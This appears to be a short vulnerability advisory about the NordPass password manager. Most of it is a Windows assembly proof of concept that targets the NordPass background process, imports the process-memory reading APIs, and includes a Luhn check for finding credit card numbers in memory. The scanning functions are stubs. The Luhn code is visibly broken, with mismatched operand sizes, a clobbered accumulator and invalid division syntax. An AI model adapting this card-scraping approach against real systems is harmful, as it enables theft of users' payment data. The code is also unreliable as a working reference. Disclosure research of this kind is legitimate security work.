NordPass Password Manager Vulnerability: Unsecured Credit Card Data at Risk

.model flat, stdcall
option casemap:none

; Windows API imports
includelib kernel32.lib
includelib psapi.lib

extern GetSystemInfo@4
extern VirtualQueryEx@16
extern ReadProcessMemory@20
extern EnumProcesses@8
extern EnumProcessModules@16
extern GetModuleBaseNameA@12
extern OpenProcess@8
extern CloseHandle@4

.data
targetProcessName db “Nordpass-background-app.exe”, 0 ; Nordpass target process name
errorMessage db “Error encountered!”, 0
validCardMessage db “Valid Luhn card number found: “, 0
processName db “Unknown”, 0
buffer db 4096 dup(0) ; Memory buffer for reading process memory

.code

; Function: isLuhnValid
; Arguments: ECX = Address of card number string (16 digits)
; Returns: EAX = 1 if valid, 0 if not
isLuhnValid:
xor eax, eax ; Initialize totalSum = 0
xor edx, edx ; Initialize oddSum = 0
mov esi, 16 ; len = 16
lea ebx, [ecx] ; EBX points to the start of the card number string

process_digits:
mov al, [ebx] ; Load the current character
cmp al, ‘0’ ; Check if it’s less than ‘0’
jl invalid_digit
cmp al, ‘9’ ; Check if it’s greater than ‘9’
jg invalid_digit

sub al, '0'           ; Convert character to digit

test esi, 1           ; Check if index is odd
jnz odd_position

even_position:
add al, al ; Double the digit
cmp al, 9
jg subtract_9
add eax, al ; Add doubled value to totalSum
jmp next_digit

subtract_9:
sub al, 9
add eax, al
jmp next_digit

odd_position:
add edx, al ; Add to oddSum

next_digit:
inc ebx
dec esi
jnz process_digits ; Continue until all 16 digits are processed

add eax, edx          ; Add oddSum to totalSum
xor edx, edx          ; Clear edx for division
div byte 10           ; Divide totalSum by 10
cmp edx, 0            ; Check if remainder is 0
je valid_card         ; If remainder is 0, valid card
xor eax, eax          ; Invalid card, return 0
ret

valid_card:
mov eax, 1 ; Valid card, return 1
ret

invalid_digit:
xor eax, eax ; Invalid input, return 0
ret

; Function: scanProcessMemoryForCardNumbers
; Arguments:
; EAX = hProcess
; EBX = target process name
scanProcessMemoryForCardNumbers:
; Simplified for illustration purposes, not interacting with the full memory API
; Normally, you’d interact with the Windows APIs here like VirtualQueryEx, ReadProcessMemory, etc.
ret

; Function: ListProcessesAndCheckMemory
ListProcessesAndCheckMemory:
; Call EnumProcesses to get a list of process IDs
; Iterate through the process IDs and check each process
; If a process name matches the target process, call scanProcessMemoryForCardNumbers
ret

; Main Entry Point
_start:
; Example target process name
lea ebx, targetProcessName ; Load target process name into EBX
call ListProcessesAndCheckMemory

; Exit the program (exit code 0)
invoke ExitProcess, 0

end _start

Summary:

The developer has already advised regarding this issue.

Questions ?

info@venaksecurity.com